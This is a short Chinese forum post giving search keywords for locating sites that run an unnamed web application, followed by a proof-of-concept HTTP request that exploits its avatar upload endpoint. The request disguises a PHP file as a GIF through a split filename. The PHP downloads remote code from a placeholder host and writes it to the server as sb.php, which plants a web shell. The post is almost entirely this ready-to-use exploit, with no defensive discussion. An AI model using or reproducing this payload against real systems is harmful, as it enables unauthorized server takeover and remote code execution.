某SZP

lufei 309 次浏览 0

关键词:"/static/home/js/layer_mobile/layer.js" "/static/home/img/login-bac.png"
某SZP

POC:

POST /home/mine/upload_one.html  HTTP/1.1
Host: xx
Content-Length: 373
Origin: http://xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0I41hhHscVa1LDAl
Accept: */*
Referer: http://xx/home/mine/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=u4d8qatb3tfu45i2girdrg8pa7
Connection: close

------WebKitFormBoundary0I41hhHscVa1LDAl
Content-Disposition: form-data; name="name"

avatar.jpg
------WebKitFormBoundary0I41hhHscVa1LDAl
Content-Disposition: form+data; name="file";  filename="avatar.jpg
A.php"
Content-Type: image/png

GIF89a
<?=file_put_contents('sb.php',file_get_contents('http://xx/1.txt'));?>
------WebKitFormBoundary0I41hhHscVa1LDAl--

发表评论 取消回复
表情